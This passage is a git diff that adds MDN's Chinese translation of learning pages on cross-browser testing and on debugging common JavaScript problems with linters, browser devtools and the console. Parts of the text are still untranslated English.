href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">处理常见的JavaScript问题</a></dt> + <dd>现在我们来看看常见的跨浏览器JavaScript问题,以及怎么解决它们。这会包括使用浏览器开发工具跟踪和解决问题的信息,使用polyfills和库来解决问题,让现代的JavaScript特性在老浏览器中工作等等。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">处理常见的可访问性问题</a></dt> + <dd>然后,我们把注意力转向可访问性上,提供常见问题的信息,怎么做简单的测试,和怎么使用审计/自动化工具找到可访问性问题。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">实现特征检查</a></dt> + <dd><code><font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">特征检查包括确定浏览器是否支持确定的代码块,据此运行不同的代码,让浏览器能一直正常工作,而不是在一些浏览器上崩溃/报错。</span></font></code>本文详细介绍了愈合如何写简单的特征检查,怎么使用库来加速实现,和一些像<code>@supports</code>的本地特性来进行特征检查。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">自动测试简介</a></dt> + <dd>每天多次在几个浏览器和设备上手动运行可能会枯燥,浪费时间。有效处理这个问题,你需要熟悉自动化工具。在本文中,我们介绍可用的方法,怎么使用任务运行程序,以及学习怎么使用商业浏览器自动化测试工具如 Sauce Labs 和Browser Stack的基础知识。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">建立你自己的自动化测试环境</a></dt> + <dd>在本文中,我们会教你怎么安装你自己的自动化环境,并使用Selenium / WebDriver和测试库(如selenium-webdriver for Node)运行自己的测试。我们还将介绍如何将本地测试环境与商业应用程序集成在一起,正如上一篇文章所讨论的。</dd> +</dl> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html new file mode 100644 index 0000000000..7b8772b4bd --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/introduction/index.html @@ -0,0 +1,207 @@ +--- +title: 跨浏览器测试介绍 +slug: Learn/Tools_and_testing/Cross_browser_testing/Introduction +translation_of: Learn/Tools_and_testing/Cross_browser_testing/Introduction +--- +<div>{{LearnSidebar}}</div> + +<div>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">本文是对跨浏览器测试的入门概述,帮助了解“什么是跨浏览器测试?”,“常见的问题都有哪些?”,以及“应该怎么测试,识别和修复问题?” </p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">阅读基础:</th> + <td>熟悉 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>了解跨浏览器测试的高级概念。</td> + </tr> + </tbody> +</table> + +<h2 id="什么是跨浏览器测试?">什么是跨浏览器测试?</h2> + +<p>跨浏览器测试(cross browser testing)是确保您的网站或web应用能在可接受数量的浏览器(across an acceptable number of web browsers)上正常使用的测试方法。作为网站开发者,您有责任确保项目能供所有用户使用,无论他们使用的是哪种浏览器,设备或辅助工具。 您需要注意的点:</p> + +<ul> + <li>除了您在工作中经常使用的一两种浏览器,还有一些老旧的浏览器也会有用户在使用。这些浏览器对CSS和JavaScript的新特性支持的不够。</li> + <li>不同的设备支持的功能也不一样,有功能强大的新平板电脑,智能手机,智能电视,也有功能不全的廉价平板电脑,老旧手机。</li> + <li>残疾人士通过屏幕阅读器等辅助技术上网,可能不会使用鼠标(有些人只使用键盘)。</li> +</ul> + +<p>请记住,您不能代表产品的用户 - 您的网站能适配Macbook Pro或高端Galaxy Nexus,并不意味它适用于所有用户 - 还有很多测试工作要做!</p> + +<div class="note"> +<p><strong>Note</strong>: <a href="https://hacks.mozilla.org/2016/07/make-the-web-work-for-everyone/">Make the web work for everyone</a> 文章列出了浏览器的市场份额,使用情况和相关兼容性问题。</p> +</div> + +<p>我们先解释下术语。首先,我们所讨论的“跨浏览器使用(working cross browser)”,应该在不同浏览器中提供可接受的用户体验。虽然无法在所有浏览器上提供相同的体验,但确保核心功能使用顺畅就算可以。比如在现代浏览器上,能显示动画、3D或闪光效果,而在较旧的浏览器上,可以呈现出相同信息的平面图片。只要网站主满意,你的工作就算完成了。</p> + +<p>另一方面,视力正常的用户能正常浏览内容,但视力障碍的用户却因为屏幕阅读器无法读取信息而无法阅读内容。这是糟糕的体验,需要您能兼容屏幕阅读器软件。</p> + +<p>其次,当我们说“可接受数量的浏览器(across an acceptable number of web browsers)” ,并不是说世界上100%的浏览器,这也是不可能。您可以通过信息收集了解用户都在使用哪些浏览器和设备,但也不能保证全都采集到(也是本专题第二篇所讨论的 — 参见 <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">要测试全部的吗?(Gotta test 'em all?)</a>)。作为web开发者,您自然要确保网站主要求的浏览器都能正常工作,但除此之外,您需要防御性编程(code defensively),尽可能让其它浏览器也能正常查看内容。 这是Web开发的重大挑战之一!</p> + +<div class="note"> +<p><strong>Note</strong>: 后面会详细介绍防御性编程(code defensively)</p> +</div> + +<h2 id="为什么会出现跨浏览器问题?">为什么会出现跨浏览器问题?</h2> + +<p>对于为何出现跨浏览器问题,原因有很多,而且要注意,我们在此讨论的是跨不同浏览器/设备/浏览偏好时出现的表现差异的问题。你应该在遇到跨浏览器问题之前就预先修复你代码里的Bug(如需巩固记忆,请参阅之前主题中的<a href="https://developer.mozilla.org/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>,<a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>,以及<a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong?Troubleshooting Javascript</a>)。</p> + +<p>跨浏览器问题会出现通常因为:</p> + +<ul> + <li>有时候浏览器有缺陷,或者实现功能的方式不同。这种情况比以前大有改观;在IE 4和Netscape 4争霸的二十世纪九十年代,浏览器厂商故意采用与其他厂商不同的方式开发功能,以此获得竞争优势,这使得开发者如陷地狱。近来各个浏览器更加注重遵循标准,但差异和缺陷仍会时而出现。</li> + <li> 一些浏览器对一些技术特点的支持力度与其他浏览器不同。当你在处理一些浏览器厂商正在实现的前沿技术点,或你必须支持一些很古老的不再更新维护的浏览器时,跨浏览器问题会不可避免的出现。举个例子:你想在自己网站里用到的一些前沿Javascript技术在旧版浏览器中可能不会生效。如果你需要支持旧版浏览器,你可能必须放弃新技术,或在所需之处把代码转换成过时语法。</li> + <li> 一些设备可能会制定一些限制来防止网站运行缓慢或显示效果糟糕。例如:若一个网站的设计效果在PC端很棒,在移动设备上就会显得很小,很不易于浏览。若你的网站要加载体积很大的动画,在高配设备上可能没问题,但在低配置的设备上就会迟钝又愚蠢。</li> +</ul> + +<p>此外还有很多原因。</p> + +<p>在后续文章中,我们会探究常见的跨浏览器问题,并寻求解决方案。</p> + +<h2 id="跨浏览器测试的工作流">跨浏览器测试的工作流</h2> + +<p>这一系列跨浏览器测试工作也行听起来耗时且可怕,但实际上不是——你只需仔细计划,并确保在恰当之处做足测试以防遭遇意外故障。假如你正在开发一个大型项目,你应该有规律地进行测试,确保新功能正确地服务你的目标用户,以及新增功能不会与已有功能冲突。</p> + +<p>如果你在项目中把所有测试工作留到最后,那么会比随时发现和解决Bug耗时更长,成本更高。</p> + +<p>一个项目的测试和排错工作流可以大致分为如下四个阶段(这只是粗略划分——因人而异):</p> + +<p><strong>初步规划>开发>测试/查错>修复/迭代</strong></p> + +<p>步骤2到步骤4在必要时应多次重复直到开发完成。我们会在后续章节详细探讨测试程序的不同之处,但现在我们只概述每个阶段可能出现的问题。</p> + +<h3 id="初步规划">初步规划</h3> + + + +<p>在初步规划阶段,你会和网站主人/客户(可能是你的老板或来自客户公司的人)开一些计划会议,你们会决定这个网站到底是什么——应该又什么内容和功能、什么样的外观等等。此时你也会想知道开发周期是多长——何时是他们的截止日期、他们会支付你多少酬劳。我们不会深入这些细节,但跨浏览器问题会大大影响这个计划。</p> + +<p>一旦你了解了需求,确定了技术选型,你就该开始调查目标用户——使用这个网站的用户用什么浏览器、什么设备等等。也行客户通过前期调查已经有了这方面的数据,比如通过他们的其他网站,或你将要开发的网站的之前版本。若没有,你将要通过搜寻其他资源,诸如竞品的使用数据,或网站将要服务的国家来了解清楚。也可以凭直觉。</p> + +<p>举个例子,你要开发一个服务北美客户的电子商务网站。该网站应该完美支持最流行的PC/移动端(iOS、Android、Windows phone)浏览器的最新几个版本——应包括Chrome(和相同渲染引擎的Opera)、Firefox、IE/Edge以及Safari。它还应为IE 8和9提供可接受的体验,以及遵循 WCAG AA指南。</p> + +<p>现在你已知道你的目标测试平台,你应回顾功能需求和技术选型。例如:如果这个电子商务站点的拥有者想要在页面上实现基于WebGl的3D产品展示,那他们必须放弃IE 11及以前的版本。你要承诺为低版本用户提供没有3D展示的版本。</p> + +<p>你应该列出这些潜在的问题。</p> + + + +<div class="note"> +<p><strong>注意:</strong>你可在MDN——就是本网站——找到浏览器对不同技术功能的支持情况的信息。</p> +</div> + +<p>一旦你们就这些问题达成共识,你就可以开始开发网站了。</p> + +<h3 id="开发">开发</h3> + +<p>现在到了开发阶段。你应该把开发分成不同模块,例如你可以分成首页、产品页、购物车、支付流程等。然后你可以再进行细分——实现公共的页头页脚,实现产品页细节视图,实现购物车组件等。</p> + +<p>有一些跨浏览器开发的普适策略,如:</p> + +<ul> + <li>让所有功能尽可能在所有目标浏览器上运行。这也许涉及到写不同的代码,让不同浏览器中的功能以不同方式实现,或使用一个<code>{{glossary("Polyfill")}}</code>模拟缺失的支撑,或者使用一个库,允许你写一点代码,然后根据浏览器支持的内容在后台执行不同的操作。</li> + <li>接受这个现实:一些东西在不同浏览器运行效果不同,在不支持完整功能的浏览器中提供不同的(可接受的)的解决方案。因为设备限制,有时这是不可避免的——不管你怎样设计网站,在影院宽屏上和在4寸屏上的视觉效果是不同的。</li> + <li> 接受这个现实:你的网站在旧版浏览器上不能用,那就忽略旧版。假设你的客户/用户认为可以就没事。</li> +</ul> + +<p>一般来说你的开发会涉及到一个上述三个方法的结合。最重要的是你在提交每个小部分之前都要测试——别把测试放到最后!</p> + +<h3 id="测试查错">测试/查错</h3> + +<p>在每个实现阶段之后,你需要测试这些新功能。要开始测试,你应该确保你的代码没有能够阻止功能运行的一般性错误:</p> + +<ol> + <li>在一些稳定浏览器中测试,例如Firefox、Safari、Chrome或IE/Edge。</li> + <li>做一些低可用性测试,比如尝试只用键盘使用网站,或通过屏幕阅读器访问,来检查可操纵性。</li> + <li>在移动端测试,例如iOS或Android。</li> +</ol> + +<p>此时,你要修复一切发现的问题。</p> + +<p>接下来,你应该试在所有浏览器上测试并集中精力排除跨浏览器问题(关于<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies#Gotta_test_%27em_all">determining your target browers</a>,请查阅下一篇文章获取更多信息)。例如</p> + +<ul> + <li>尝试在所有现代桌面浏览器上测试最新的修改——包括(理想条件下,Windows、Mac、Linux的)Firefox、Chrome、Opera、IE、Edge和Safari。</li> + <li>在常用的手机和平板浏览器中测试(例如iPhone/iPad上的iOS Safari、iPhone/iPad/Android的Chrome和Firefox)。</li> + <li>也要在你所列出的其他目标浏览器中测试。</li> +</ul> + +<p>最起码你要独自进行你能实现的所有测试(如果有团队,你可拉队友来帮你)。你应该尽可能在真实物理设备上进行测试。</p> + +<p>如果你无法测试所有那些不同的浏览器、操作系统和物理真机,你也可以用模拟器(在PC端用软件模拟设备)和虚拟机(能使你在PC上模拟多种操作系统/软件的软件)。这是很流行的选择,特别是在某些环境中——例如,Windows不允许你在同一台机器上模拟安装多个版本的Windows,那么使用虚拟机就是唯一选择。</p> + +<p>另一个选择是用户群组——使用开发团队之外的一组人测试你的网站。可以是一些朋友或家庭,其他员工们,一个班级或一个当地大学,或一个专业测试团队。</p> + +<p>最终,通过使用统计或自动化工具,你的测试会更智能;当你的项目变得更大,这是个明智的选择,毕竟手动做全部这些测试会花很长时间。你可以建立你的自动化测试系统(Selenium正在成为最流行选择),这样你就可以实现诸如在一些不同浏览器加载你的网站的功能,以及:</p> + +<ul> + <li>看一个按钮点击事件是否成功生效(例如显示地图),测试完成后就显示结果。</li> + <li>逐个截屏,允许你检查是否每个布局在跨浏览器时是否一致。</li> +</ul> + +<p>如果你愿意,你也可以更深入一些。如果你希望为测试投资一些钱,一些诸如<a href="https://saucelabs.com/">Sauce Labs</a>和<a href="https://www.browserstack.com/">Browser Stack</a>的商业工具都可以为你做这些事,你不必操心测试的构建。搭建一个自动为你运行的测试环境也是可能的,之后,你只要把测试通过的更改代码签入中央代码仓库就可以了。</p> + +<h4 id="在预发布的浏览器上测试">在预发布的浏览器上测试</h4> + +<p>测试即将发布的浏览器版本也是个不错的注意。请看下面的链接:</p> + +<ul> + <li><a href="https://www.mozilla.org/en-US/firefox/developer/">Firefox Developer Edition</a></li> + <li><a href="https://insider.windows.com/">Edge Insider Preview</a></li> + <li><a href="https://developer.apple.com/safari/technology-preview/">Safari Technology Preview</a></li> + <li><a href="https://www.google.com/chrome/browser/canary.html">Chrome Canary</a></li> + <li><a href="http://www.opera.com/computer/beta">Opera Developer</a></li> +</ul> + +<p>假如你使用了很新的技术并想测试最新版本的实现,或者你在最新版浏览器中遇到故障,你想检查浏览器开发者是否在新版本中修复了这个问题,这将是很流行的做法。</p> + +<h3 id="修复迭代">修复/迭代</h3> + +<p>当你发现一个Bug,你需要尝试修复它。</p> + +<p>首要之举是尽可能锁定Bug出现之处。从Bug报告者那里尽可能多的获得信息——什么平台、设备、浏览器版本等等。在相似环境(比如不同桌面平台的同一个浏览器版本,或同一平台中同一浏览器的小差别版本)中测试来检查该Bug波及多大范围。</p> + +<p>那可能不是你的错误——如果是一个浏览器的Bug,那就希望厂商尽快修复它。也许它已经被修复了——例如若一个Bug存在于Firefox版本49,但Firefox Nightly中已经不存在了。如果还未修复,你可能需要提交一个Bug报告。</p> + +<p>如果是你的错误,你需要修复它!查出导致该Bug的原因(再次,查阅<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a>,<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS">Debugging CSS</a>,和<a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>)。当你找到原因,你需要决定如何在产生问题的浏览器中解决它——你不能直接改掉问题代码,因为这会在其他浏览器中导致问题。普遍做法是以某种方式分叉代码,例如用Javascript功能检测代码来检测问题功能不运行的情况,并运行一些在那些情况下生效的代码。</p> + +<p>Once a fix has been made, you'll want to repeat your testing process to make sure your fix is working OK, and hasn't caused the site to break in other places or in other browsers.</p> + +<p>一旦修复完成,你应该重复测试来确保你的修复工作有效,并没有导致网站的其他地方在其他浏览器中出问题。</p> + +<h2 id="报告Bug">报告Bug</h2> + +<p>重申上述内容:如果你发现浏览器Bug,你应该:</p> + +<ul> + <li><a href="https://bugzilla.mozilla.org/">Firefox Bugzilla</a></li> + <li><a href="https://developer.microsoft.com/en-us/microsoft-edge/platform/issues/">EdgeHTML issue tracker</a></li> + <li><a href="https://bugs.webkit.org/">Safari</a></li> + <li><a href="https://bugs.chromium.org/p/chromium/issues/list">Chrome</a></li> + <li><a href="https://bugs.opera.com/wizard/desktop">Opera</a></li> +</ul> + +<h2 id="总结">总结</h2> + +<p>本文应该能够让你对跨浏览器测试最重要的部分有一个更高层次的理解。有了这些知识的武装,你现在可以继续并开始学习跨浏览器测试策略了。</p> + +<p>{{NextMenu("Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies", "Learn/Tools_and_testing/Cross_browser_testing")}}</p> + +<h2 id="指南">指南</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试简介</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Testing_strategies">测试策略</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS">处理常见的HTML和CSS问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">处理常见的JavaScript问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Accessibility">处理常见的可访问性问题</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Feature_detection">实现特征检查</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing">自动测试简介</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Your_own_automation_environment">建立你自己的自动化测试环境</a></li> +</ul> diff --git a/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html new file mode 100644 index 0000000000..68c0b88842 --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/cross_browser_testing/javascript/index.html @@ -0,0 +1,509 @@ +--- +title: 处理常见的 JavaScript问题 +slug: Learn/Tools_and_testing/Cross_browser_testing/JavaScript +translation_of: Learn/Tools_and_testing/Cross_browser_testing/JavaScript +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS","Learn/Tools_and_testing/Cross_browser_testing/Accessibility", "Learn/Tools_and_testing/Cross_browser_testing")}}</div> + +<p class="summary">现在我们看看如何跟踪一些常见的浏览器JavaScript问题并且如何修复它们。这个包括如何使用浏览器开发工具跟踪和修复问题、使用Polyfill或第三方库解决问题、如果让一些现代JavaScript的特性也能在旧的浏览器下面工作等。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>熟练使用 <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, 和 <a href="/en-US/docs/Learn/JavaScript">JavaScript</a> 语言; 以及一些<a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Introduction">跨浏览器测试的高级概念</a>.</td> + </tr> + <tr> + <th scope="row">本文目标:</th> + <td>可以分析一些常见的JavaScript跨浏览器问题,并且学会使用一些工具和技术修复它们</td> + </tr> + </tbody> +</table> + +<h2 id="The_trouble_with_JavaScript">The trouble with JavaScript</h2> + +<p>Historically, JavaScript was plagued with cross-browser compatibility problems — back in the 1990s, the main browser choices back then (Internet Explorer and Netscape) had scripting implemented in different language flavours (Netscape had JavaScript, IE had JScript and also offered VBScript as an option), and while at least JavaScript and JScript were compatible to some degree (both based on the {{glossary("ECMAScript")}} specification), things were often implemented in conflicting, incompatible ways, causing developers many nightmares.</p> + +<p class="entry-title">Such incompatibility problems persisted well into the early 2000s, as old browsers were still being used and still needed supporting. This is one of the main reasons why libraries like <a href="http://jquery.com/">jQuery</a> came into existence — to abstract away differences in browser implementations (e.g. see the code snippet in <a href="/en-US/docs/AJAX/Getting_Started#Step_1_%E2%80%93_How_to_make_an_HTTP_request">How to make an HTTP request</a>) so developers only have to write one simple bit of code (see <code><a href="http://api.jquery.com/jquery.ajax/">jQuery.ajax()</a></code>). jQuery (or whatever library you are using) will then handle the differences in the background, so you don't have to.</p> + +<p>Things have got much better since then; modern browsers do a good job of supporting "classic JavaScript features", and the requirement to use such code has diminished as the requirement to support older browsers has lessened (although bear in mind that they have not gone away altogether).</p> + +<p>These days, most cross-browser JavaScript problems are seen:</p> + +<ul> + <li>When bad quality browser sniffing code, feature detection code, and vendor prefix usage blocks browsers from running code they could otherwise use just fine.</li> + <li>When developers make use of new/nascent JavaScript features (for example <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla">ECMAScript 6</a> / <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_Next_support_in_Mozilla">ECMAScript Next</a> features, modern Web APIs...) in their code, and find that such features don't work in older browsers.</li> +</ul> + +<p>We'll explore all these problems and more below.</p> + +<h2 id="修复一般的JavaScript问题">修复一般的JavaScript问题</h2> + +<p>As we said in the <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#First_things_first_fixing_general_problems">previous article</a> on HTML/CSS, you should make sure your code is working generally, before going on to concentrate on the cross-browser issues. If you are not already familiar with the basics of <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">Troubleshooting JavaScript</a>, you should study that article before moving on. There are a number of common JavaScript problems that you will want to be mindful of, such as:</p> + +<ul> + <li>Basic syntax and logic problems (again, check out <a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">Troubleshooting JavaScript</a>).</li> + <li>Making sure variables, etc. are defined in the correct scope, and you are not running into conflicts between items declared in different places (see <a href="/en-US/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">Function scope and conflicts</a>).</li> + <li>Confusion about <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a>, in terms of what scope it applies to, and therefore if its value is what you intended. You can read <a href="/en-US/docs/Learn/JavaScript/Objects/Basics#What_is_this">What is "this"?</a> for a light introduction; you should also study examples like <a href="https://github.com/mdn/learning-area/blob/7ed039d17e820c93cafaff541aa65d874dde8323/javascript/oojs/assessment/main.js#L143">this one</a>, which shows a typical pattern of saving a <code>this</code> scope to a separate variable, then using that variable in nested functions so you can be sure you are applying functionality to the correct <code>this</code> scope.</li> + <li>Incorrectly using functions inside loops — for example, in <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">bad-for-loop.html</a> (see <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/bad-for-loop.html">source code</a>), we loop through 10 iterations, each time creating a paragraph and adding an <a href="/en-US/docs/Web/API/GlobalEventHandlers/onclick">onclick</a> event handler to it. When clicked, each one should alert a message containing its number (the value of <code>i</code> at the time it was created), however each one reports <code>i</code> as 11, because for loops do all their iterating before nested functions are invoked. If you want this to work correctly, you need to define a function to add the handler separately, calling it on each iteration and passing it the current value of <code>para</code> and <code>i</code> each time (or something similar). See <a href="https://mdn.github.io/learning-area/tools-testing/cross-browser-testing/javascript/good-for-loop.html">good-for-loop.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/good-for-loop.html">source code</a> also) for a version that works.</li> + <li>Making sure asynchronous operations have returned before trying to use the values they return. For example, <a href="/en-US/docs/AJAX/Getting_Started#Step_3_%E2%80%93_A_Simple_Example">this Ajax example</a> checks to make sure the request is complete and the response has been returned before trying to use the response for anything. This kind of operation has been made easier to handle by the introduction to <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a> to the JavaScript language.</li> +</ul> + +<div class="note"> +<p><strong>Note</strong>: <a href="https://www.toptal.com/javascript/10-most-common-javascript-mistakes">Buggy JavaScript Code: The 10 Most Common Mistakes JavaScript Developers Make</a> has some nice discussions of these common mistakes and more.</p> +</div> + +<h3 id="Linters">Linters</h3> + +<p>As with <a href="/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/HTML_and_CSS#Linters">HTML and CSS</a>, you can ensure better quality, less error-prone JavaScript code using a linter, which points out errors and can also flag up warnings about bad practices, etc., and be customized to be stricter or more relaxed in their error/warning reporting. The JavaScript/ECMAScript linters we'd recommend are <a href="http://jshint.com/">JSHint</a> and <a href="http://eslint.org/">ESLint</a>; these can be used in a variety of ways, some of which we'll detail below.</p> + +<h4 id="Online">Online</h4> + +<p>The <a href="http://jshint.com/">JSHint homepage</a> provides an online linter, which allows you to enter your JavaScript code on the left and provides an output on the right, including metrics, warnings, and errors.</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14175/jshint-online.png" style="display: block; margin: 0 auto;"></p> + +<h4 id="Code_editor_plugins">Code editor plugins</h4> + +<p>It is not very convenient to have to copy and paste your code over to a web page to check its validity several times. What you really want is a linter that will fit into your standard workflow with the minimum of hassle. Many code editors have linter plugins, for example Github's <a href="https://atom.io/">Atom</a> code editor has a JSHint plugin available.</p> + +<p>To install it:</p> + +<ol> + <li>Install Atom (if you haven't got an up-to-date version already installed) — download it from the Atom page linked above.</li> + <li>Go to Atom's <em>Preferences...</em> dialog (e.g. by Choosing <em>Atom > Preferences...</em> on Mac, or <em>File > Preferences...</em> on Windows/Linux) and choose the <em>Install</em> option in the left-hand menu.</li> + <li>In the <em>Search packages</em> text field, type "jslint" and press Enter/Return to search for linting-related packages.</li> + <li>You should see a package called <strong>lint</strong> at the top of the list. Install this first (using the <em>Install</em> button), as other linters rely on it to work. After that, install the <strong>linter-jshint</strong> plugin.</li> + <li>After the packages have finished installing, try loading up a JavaScript file: you'll see any issues highlighted with green (for warnings) and red (for errors) circles next to the line numbers, and a separate panel at the bottom provides line numbers, error messages, and sometimes suggested values or other fixes.</li> +</ol> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14173/jshint-linter.png" style="display: block; margin: 0 auto;">Other popular editors have similar linting packages available. For example, see the "Plugins for text editors and IDEs" section of the <a href="http://jshint.com/install/">JSHint install page</a>.</p> + +<h4 id="其他方式">其他方式</h4> + +<p>There are other ways to use such linters; you can read about them on the <a href="http://jshint.com/install/">JSHint</a> and <a href="http://eslint.org/docs/user-guide/getting-started">ESLint</a> install pages.</p> + +<p>It is worth mentioning command line uses — you can install these tools as command line utilities (available via the CLI — command line interface) using npm (Node Package Manager — you'll have to install <a href="https://nodejs.org/en/">NodeJS</a> first). For example, the following command installs JSHint:</p> + +<pre class="brush: bash">npm install -g jshint +</pre> + +<p>You can then point these tools at JavaScript files you want to lint, for example:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14171/js-hint-commandline.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;">You can also use these tools with a task runner/build tool such as <a href="http://gulpjs.com/">Gulp</a> or <a href="https://webpack.github.io/">Webpack</a> to automatically lint your JavaScript during development. (see <a href="https://developer.mozilla.org/en-US/docs/Learn/Tools_and_testing/Cross_browser_testing/Automated_testing#Using_a_task_runner_to_automate_testing_tools">Using a task runner to automate testing tools</a> in a later article.) See <a href="http://eslint.org/docs/user-guide/integrations">ESLint integrations</a> for ESLint options; JSHint is supported out of the box by Grunt, and also has other integrations available, e.g. <a href="https://github.com/webpack/jshint-loader">JSHint loader for Webpack</a>.</p> + +<div class="note"> +<p><strong>Note</strong>: ESLint takes a bit more setup and configuration than JSHint, but it is more powerful too.</p> +</div> + +<h3 id="浏览器开发者工具">浏览器开发者工具</h3> + +<p>浏览器开发者工具有很多功能可以帮助定位JavaScript的问题,尤其是在开发的工程中,JavaScript的Console会提醒一些错误信息</p> + +<p>下载示例文件 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">broken-ajax.html</a> 到本地 (也可以阅读 <a href="https://github.com/mdn/learning-area/blob/master/tools-testing/cross-browser-testing/javascript/broken-ajax.html">source code</a> ). 如果你打开console面板,你将会看到下图中的输出信息:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14165/broken-ajax.png" style="display: block; height: 86px; margin: 0px auto; width: 635px;"></p> + +<p>错误提示 "TypeError: jsonObj is null", 标示出问题出现在代码的第37行. 如果你看了源代码, 相关的代码如下面所示:</p> + +<pre class="brush: js">function populateHeader(jsonObj) { + var myH1 = document.createElement('h1'); +<strong> myH1.textContent = jsonObj['squadName'];</strong> + header.appendChild(myH1); + + ...</pre> + +<p>So the code falls over as soon as we try to access <code>jsonObj</code> (which as you might expect, is supposed to be a <a href="/en-US/docs/Learn/JavaScript/Objects/JSON">JSON object</a>). This is supposed to be fetched from an external <code>.json</code> file using the following XMLHttpRequest call:</p> + +<pre class="brush: js">var requestURL = 'https://mdn.github.io/learning-area/javascript/oojs/json/superheroes.json'; +var request = new XMLHttpRequest(); +request.open('GET', requestURL); +request.send(); + +<strong>var superHeroes = request.response;</strong> +populateHeader(superHeroes); +showHeroes(superHeroes);</pre> + +<p>But this fails.</p> + +<h4 id="Console相关API">Console相关API</h4> + +<p>You may already know what is wrong with this code, but let's explore it some more to show how you could investigate this. For a start, there is a <a href="/en-US/docs/Web/API/Console">Console</a> API that allows JavaScript code to interact with the browser's JavaScript console. It has a number of features available, but the main one you'll use often is <code><a href="/en-US/docs/Web/API/Console/log">console.log()</a></code>, which prints a custom message to the console.</p> + +<p>Try inserting the following line just below line 31 (bolded above):</p> + +<pre class="brush: js">console.log('Response value: ' + superHeroes);</pre> + +<p>Refresh the page in the browser, and you will get an output in the console like so:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/14167/console-log.png" style="display: block; height: 99px; margin: 0px auto; width: 638px;"></p> + +<p>The <code>console.log()</code> output shows that the <code>superHeroes</code> object doesn't appear to contain anything, although note that the error message has now changed, to "TypeError: heroes is undefined". This shows that the error is intermittent, giving further evidence that this is some kind of asynchronous error. Let's fix the current error and move on — remove the <code>console.log()</code> line, and update this code block:</p> + +<pre class="brush: js">var superHeroes = request.response; +populateHeader(superHeroes); +showHeroes(superHeroes);</pre> + +<p>to the following:</p> + +<pre class="brush: js">request.onload = function() { + var superHeroes = request.response; + populateHeader(superHeroes); + showHeroes(superHeroes); +}</pre> 